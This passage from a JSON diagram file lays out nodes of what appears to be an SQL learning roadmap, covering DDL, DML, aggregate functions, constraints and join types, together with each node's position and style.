    \"data\": {\n        \"label\": \"Data Definition Language (DDL)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 118.89980850421182, \"y\": 159.73119080604232 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 323, \"height\": 49 }\n    },\n    {\n      \"id\": \"K5vhqTJrdPK08Txv8zaEj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 238.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Truncate Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 53,\n      \"style\": { \"width\": 167, \"height\": 53 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 238.7980966830105 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 53 }\n    },\n    {\n      \"id\": \"WjXlO42WL9saDS7RIGapt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 295.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Alter Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 295.7980966830105 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"epEpBxRosLhuAuKwp823r\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 348.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Create Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 348.7980966830105 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"YzJ6QmY2arMfRzMAPaI0T\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 401.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Drop Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 401.7980966830105 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"WMSXi-eez_hHGDM8kUdWz\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -147.5663615725029, \"y\": 280.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Manipulation Language (DML)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 356,\n      \"height\": 49,\n      \"style\": { \"width\": 356, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -147.5663615725029, \"y\": 280.7980966830105 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 356, \"height\": 49 }\n    },\n    {\n      \"id\": \"i8u8E_sne6XiKJo2FXDog\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -148.91017923766498, \"y\": 376.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Select\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 49,\n      \"style\": { \"width\": 362, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -148.91017923766498, \"y\": 376.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 362, \"height\": 49 }\n    },\n    {\n      \"id\": \"N1Racr3ZpU320gS545We8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -148.91017923766498, \"y\": 430.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FROM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": { \"width\": 134, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -148.91017923766498, \"y\": 430.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 134, \"height\": 49 }\n    },\n    {\n      \"id\": \"WhYAy6f7Euk3E49-ot644\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -11.910179237664977, \"y\": 430.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"WHERE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": { \"width\": 115, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -11.910179237664977, \"y\": 430.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 115, \"height\": 49 }\n    },\n    {\n      \"id\": \"NfCiSPrL4upMssukcw3Kh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -11.910179237664977, \"y\": 483.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ORDER BY\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": { \"width\": 133, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -11.910179237664977, \"y\": 483.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 133, \"height\": 49 }\n    },\n    {\n      \"id\": \"14TKE6KhrH1yFtHcSZSXq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -148.91017923766498, \"y\": 483.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GROUP BY\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 135, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -148.91017923766498, \"y\": 483.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 135, \"height\": 49 }\n    },\n    {\n      \"id\": \"ytwCkSMTiTuemE0KVfAfy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 125.08982076233502, \"y\": 483.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HAVING\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"style\": { \"width\": 88, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 125.08982076233502, \"y\": 483.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 88, \"height\": 49 }\n    },\n    {\n      \"id\": \"4UQQYbjzwVxZOAxBuXKQS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 107.08982076233502, \"y\": 430.83610755141524 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JOINs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": { \"width\": 106, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 107.08982076233502, \"y\": 430.83610755141524 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 106, \"height\": 49 }\n    },\n    {\n      \"id\": \"-Hew0y53ziZK3epQnGA0O\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -148.91017923766498, \"y\": 536.8361075514152 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"INSERT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -148.91017923766498, \"y\": 536.8361075514152 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"KJJ6PYjTnr_3yU2mNPL9v\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -44.41017923766498, \"y\": 536.8361075514152 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UPDATE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": { \"width\": 154, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -44.41017923766498, \"y\": 536.8361075514152 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 154, \"height\": 49 }\n    },\n    {\n      \"id\": \"zWnvuHJLHr03PWkrW1wZZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 112.08982076233502, \"y\": 536.8361075514152 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DELETE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 112.08982076233502, \"y\": 536.8361075514152 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"68Y4cMQtdnJrbqSvl7aHc\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -281.26200280604616, \"y\": 303.2980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 207,\n      \"style\": { \"width\": 21, \"height\": 207 },\n      \"positionAbsolute\": { \"x\": -281.26200280604616, \"y\": 303.2980966830105 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 207 }\n    },\n    {\n      \"id\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -369.76200280604616, \"y\": 511.23040771484375 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Aggregate Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": { \"width\": 198, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": -369.76200280604616, \"y\": 511.23040771484375 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 198, \"height\": 49 }\n    },\n    {\n      \"id\": \"w4T3jFb0ilf1KNw-AvRXG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -609.4684257507324, \"y\": 407.23040771484375 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SUM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": { \"width\": 76, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -609.4684257507324, \"y\": 407.23040771484375 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 76, \"height\": 49 }\n    },\n    {\n      \"id\": \"9aHYrOQDkA84tlxcVK5aD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -531.8883211898742, \"y\": 407.23040771484375 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"COUNT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": { \"width\": 81, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -531.8883211898742, \"y\": 407.23040771484375 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 81, \"height\": 49 }\n    },\n    {\n      \"id\": \"Wou6YXLYUgomvcELh851L\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -609.4684257507324, \"y\": 459.73040771484375 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AVG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": { \"width\": 76, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -609.4684257507324, \"y\": 459.73040771484375 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 76, \"height\": 49 }\n    },\n    {\n      \"id\": \"bFEYMlqPZtTUYtDQxqHzT\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -531.8883211898742, \"y\": 459.73040771484375 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": { \"width\": 81, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -531.8883211898742, \"y\": 459.73040771484375 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 81, \"height\": 49 }\n    },\n    {\n      \"id\": \"YqDJq3fPxUZlwsdq0kJg7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -609.4684257507324, \"y\": 512.2304077148438 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MAX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": { \"width\": 158, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -609.4684257507324, \"y\": 512.2304077148438 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 158, \"height\": 49 }\n    },\n    {\n      \"id\": \"Zw8IHfCCMSxmVjx5Ho5ff\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -609.4684257507324, \"y\": 564.7304077148438 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GROUP BY\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": { \"width\": 158, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -609.4684257507324, \"y\": 564.7304077148438 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 158, \"height\": 49 }\n    },\n    {\n      \"id\": \"HhICJpCK5__b-itUoEBES\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -609.4684257507324, \"y\": 617.2304077148438 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HAVING\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": { \"width\": 158, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -609.4684257507324, \"y\": 617.2304077148438 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 158, \"height\": 49 }\n    },\n    {\n      \"id\": \"qBios3sZVhcJMpXmj9f7B\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -1.7791808916234686, \"y\": 646.2304077148438 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8V6yw7kLaow-VVcv_K_pL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": { \"width\": 177, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -1.7791808916234686, \"y\": 646.2304077148438 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 177, \"height\": 49 }\n    },\n    {\n      \"id\": \"Jlwmyq6CUQeDAlL4dazOP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 470.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Primary Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 470.3865696806382 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"DHz6sRLYhFeCbAcNJS8hm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 523.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Foreign Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 523.3865696806382 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"5yGo8i7eplxtXOD_qfzOs\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 576.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unique\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 576.3865696806382 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"M4M_-vjM9GNy0NmXZneDA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 629.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NOT NULL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 629.3865696806382 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"Q0h9Wfnl_W9ThOkv7Q17A\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 275.44949271295843, \"y\": 682.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CHECK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": { \"width\": 167, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 275.44949271295843, \"y\": 682.3865696806382 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 167, \"height\": 49 }\n    },\n    {\n      \"id\": \"1Crqx9BUhD84lOdUAjFA4\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 245.44949271295843, \"y\": 472.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.55 }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 259,\n      \"style\": { \"width\": 21, \"height\": 259 },\n      \"positionAbsolute\": { \"x\": 245.44949271295843, \"y\": 472.8865696806382 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 259 }\n    },\n    {\n      \"id\": \"8V6yw7kLaow-VVcv_K_pL\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -1.7791808916234686, \"y\": 791.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JOIN Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": { \"width\": 177, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -1.7791808916234686, \"y\": 791.2304293708296 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 177, \"height\": 49 }\n    },\n    {\n      \"id\": \"aaua13CkTxLOYXr8cAgPm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 792.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"INNER JOIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 792.0530101616195 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"X9cJJ8zLZCF2cOoqxwFfY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 845.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LEFT JOIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 845.0530101616195 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"shpgZkh1CLqUwjOaRtAFy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 898.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RIGHT JOIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 898.0530101616195 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"aS5zCyJRA779yHF0G2pje\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 951.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FULL OUTER JOIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 951.0530101616195 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"6qG0AVYd6Y1B8LOSDoMX9\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 1004.0530101616196 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Self Join\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 1004.0530101616196 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"7ow6tiSSCnTpv_GYQU017\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 1057.0530101616196 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cross Join\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 1057.0530101616196 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"0Rk1z-F_PEgOIh1qeG8rJ\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 218.44949271295843, \"y\": 787.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.55 },\n        \"oldId\": \"1Crqx9BUhD84lOdUAjFA4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 319,\n      \"style\": { \"width\": 21, \"height\": 319 },\n      \"positionAbsolute\": { \"x\": 218.44949271295843, \"y\": 787.8865696806382 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 319 }\n    },\n    {\n      \"id\": \"86iZ8s8EdhSuYwgwAM_EO\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -305.76200280604616, \"y\": 791.2304293708296 },\n      